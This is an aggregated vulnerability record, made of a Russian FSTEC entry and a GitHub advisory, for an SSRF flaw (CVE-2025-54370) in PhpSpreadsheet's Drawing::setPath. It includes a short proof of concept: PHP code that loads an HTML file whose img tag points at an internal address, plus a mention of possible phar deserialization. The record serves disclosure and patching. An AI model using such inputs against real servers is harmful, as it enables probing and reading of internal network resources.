BDU:2025-11115

Vulnerability from fstec - Published: 15.01.2025

Title

Уязвимость функции setPath() PHP-библиотеки PhpSpreadsheet, позволяющая нарушителю осуществить SSRF-атаку

Description

Уязвимость функции setPath() PHP-библиотеки PhpSpreadsheet связана c подделкой запросов на стороне сервера. Эксплуатация уязвимости может позволить нарушителю, действующему удалённо, осуществить SSRF-атаку

Severity ?


                    
                      AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N


                    
                      AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Vendor

Сообщество свободного программного обеспечения

Software Name

PhpSpreadsheet

Software Version

до 1.30.0 (PhpSpreadsheet), от 2.0.0 до 2.1.12 (PhpSpreadsheet), от 2.2.0 до 2.4.0 (PhpSpreadsheet), от 3.0.0 до 3.10.0 (PhpSpreadsheet), от 4.0.0 до 5.0.0 (PhpSpreadsheet)

Possible Mitigations

Использование рекомендаций производителя: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rx7m-68vc-ppxh https://github.com/PHPOffice/PhpSpreadsheet/commit/ac4befd2f7ccc21a59daef606a02a3d1828ade09

Reference

https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rx7m-68vc-ppxh https://github.com/PHPOffice/PhpSpreadsheet/commit/ac4befd2f7ccc21a59daef606a02a3d1828ade09

CWE

CWE-918

JSON

To clipboard

{
  "CVSS 2.0": "AV:N/AC:L/Au:N/C:C/I:N/A:N",
  "CVSS 3.0": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
  "CVSS 4.0": "AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
  "remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
  "remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
  "\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "\u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "\u0434\u043e 1.30.0 (PhpSpreadsheet), \u043e\u0442 2.0.0 \u0434\u043e 2.1.12 (PhpSpreadsheet), \u043e\u0442 2.2.0 \u0434\u043e 2.4.0 (PhpSpreadsheet), \u043e\u0442 3.0.0 \u0434\u043e 3.10.0 (PhpSpreadsheet), \u043e\u0442 4.0.0 \u0434\u043e 5.0.0 (PhpSpreadsheet)",
  "\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rx7m-68vc-ppxh\nhttps://github.com/PHPOffice/PhpSpreadsheet/commit/ac4befd2f7ccc21a59daef606a02a3d1828ade09",
  "\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "15.01.2025",
  "\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "15.09.2025",
  "\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "15.09.2025",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2025-11115",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2025-54370, GHSA-rx7m-68vc-ppxh",
  "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
  "\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
  "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "PhpSpreadsheet",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 setPath() PHP-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 PhpSpreadsheet, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c SSRF-\u0430\u0442\u0430\u043a\u0443",
  "\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0444\u0430\u043b\u044c\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 (CWE-918)",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 setPath() PHP-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 PhpSpreadsheet \u0441\u0432\u044f\u0437\u0430\u043d\u0430 c \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c SSRF-\u0430\u0442\u0430\u043a\u0443",
  "\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
  "\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u043e\u043b\u043e\u0432\u044c\u0435\u0432 (Positive Technologies)",
  "\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
  "\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u043f\u0440\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438",
  "\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rx7m-68vc-ppxh\nhttps://github.com/PHPOffice/PhpSpreadsheet/commit/ac4befd2f7ccc21a59daef606a02a3d1828ade09",
  "\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
  "\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
  "\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-918",
  "\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,8)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,5)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 4.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8,7)"
}

GHSA-RX7M-68VC-PPXH

Vulnerability from github – Published: 2025-08-25 14:32 – Updated: 2025-08-29 21:09

Summary

PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser

Details

Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-918: Server-Side Request Forgery (SSRF) CVSS vector v.3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) Description: SSRF occurs when a processed HTML document is read and displayed in the browser Impact: Server-Side Request Forgery Vulnerable component: the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class, setPath method Exploitation conditions: getting a string from the user that is passed to the HTML reader Mitigation: improved processing of the $path variable of the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class is needed Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Server-Side Request Forgery (SSRF) (in the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class) in Phpspreadsheet. The latest version (3.8.0) of the phpoffice/phpspreadsheet library was installed. Below are the details of the installation:

Listing 1. Installing the phpoffice/phpspreadsheet library

$ composer require phpoffice/phpspreadsheet --prefer-source

The code that processes the HTML string with further rendering and displaying the result in the browser. Listing 2. Executable file index.php using the PhpSpreadsheet library

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Html';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  


$inputFileName = './doc/file.html';
$spreadsheet = $reader->load($inputFileName); 

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

Also, the ./doc/file.html has the following content: the img tag with the src attribute, which contains the value http:// 127.0.0.1:1337

Listing 3. The ./doc/file.html file

<table>
    <tr>
        <img src="http://127.0.0.1:1337">
    </tr>
</table>

The vulnerability lies in the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class.

Figure 1. The PhpOffice\PhpSpreadsheet\Worksheet\Drawing class, setPath method.

fig1

Figure 2 below demonstrates the SSRF vulnerability exploitation.

fig2

Figure 2. Demonstration of the SSRF vulnerability exploitation

Also, there is code on line 154 that could potentially be used by an attacker to perform unsafe deserialization via the phar archive and the file_exists method.

Figure 3. Opportunity to perform phar deserialization fig3

Please, assign all credits to: Aleksey Solovev (Positive Technologies)

Credit

Aleksey Solovev (Positive Technologies)

Severity ?

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-25T14:32:32Z",
    "nvd_published_at": "2025-08-25T14:15:33Z",
    "severity": "HIGH"
  },
  "details": "**Product:** PhpSpreadsheet\n**Version:** 3.8.0\n**CWE-ID:** CWE-918: Server-Side Request Forgery (SSRF)\n**CVSS vector v.3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n**CVSS vector v.4.0:** 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)\n**Description:** SSRF occurs when a processed HTML document is read and displayed in the browser\n**Impact:** Server-Side Request Forgery\n**Vulnerable component:** the `PhpOffice\\PhpSpreadsheet\\Worksheet\\Drawing` class, `setPath` method\n**Exploitation conditions:** getting a string from the user that is passed to the HTML reader\n**Mitigation:** improved processing of the `$path` variable of the `setPath` method of the `PhpOffice\\PhpSpreadsheet\\Worksheet\\Drawing` class is needed\n**Researcher: Aleksey Solovev (Positive Technologies)**\n\n# Research\nThe researcher discovered zero-day vulnerability Server-Side Request Forgery (SSRF) (in the `setPath` method of the `PhpOffice\\PhpSpreadsheet\\Worksheet\\Drawing` class) in Phpspreadsheet.\nThe latest version (3.8.0) of the `phpoffice/phpspreadsheet` library was installed. Below are the details of the installation:\n\n*Listing 1. Installing the phpoffice/phpspreadsheet library*\n```\n$ composer require phpoffice/phpspreadsheet --prefer-source\n```\nThe code that processes the HTML string with further rendering and displaying the result in the browser.\n*Listing 2. Executable file index.php using the PhpSpreadsheet library*\n```\n\u003c?php\n\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n\n$inputFileType = \u0027Html\u0027;\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);  \n\n\n$inputFileName = \u0027./doc/file.html\u0027;\n$spreadsheet = $reader-\u003eload($inputFileName); \n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet); \nprint($writer-\u003egenerateHTMLAll());\n```\n\nAlso, the `./doc/file.html` has the following content: the `img` tag with the `src` attribute, which contains the value `http:// 127.0.0.1:1337`\n\n*Listing 3. The ./doc/file.html file*\n```\n\u003ctable\u003e\n    \u003ctr\u003e\n        \u003cimg src=\"http://127.0.0.1:1337\"\u003e\n    \u003c/tr\u003e\n\u003c/table\u003e\n```\nThe vulnerability lies in the `setPath` method of the `PhpOffice\\PhpSpreadsheet\\Worksheet\\Drawing` class.\n \nFigure 1. The `PhpOffice\\PhpSpreadsheet\\Worksheet\\Drawing` class, `setPath` method.\n\n![fig1](https://github.com/user-attachments/assets/75433f59-fac6-46d5-bcfd-6d0174bfcedd)\n\nFigure 2 below demonstrates the SSRF vulnerability exploitation.\n\n![fig2](https://github.com/user-attachments/assets/3601692b-b077-420f-a2fb-8af0b66b6475)\n\nFigure 2. Demonstration of the SSRF vulnerability exploitation\n\nAlso, there is code on line 154 that could potentially be used by an attacker to perform unsafe deserialization via the `phar` archive and the `file_exists` method.\n \nFigure 3. Opportunity to perform phar deserialization\n![fig3](https://github.com/user-attachments/assets/3d7d4fc2-1b89-4925-82fa-e21c773efd47)\n\n_____________________________________________\n\nPlease, assign all credits to: Aleksey Solovev (Positive Technologies)\n\n# Credit\n\nAleksey Solovev (Positive Technologies)",
  "id": "GHSA-rx7m-68vc-ppxh",
  "modified": "2025-08-29T21:09:00Z",
  "published": "2025-08-25T14:32:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rx7m-68vc-ppxh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/334a67797ace574d1d37c0992ffe283b7415471a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/4050f14521d70634c3320b170236574a6106eb39"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/81a0de2261f698404587a6421a5c6eb263c40b31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/ac4befd2f7ccc21a59daef606a02a3d1828ade09"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/c2cd0e64392438e4c6af082796eb65c1d629a266"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/phpoffice/phpspreadsheet/CVE-2025-54370.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

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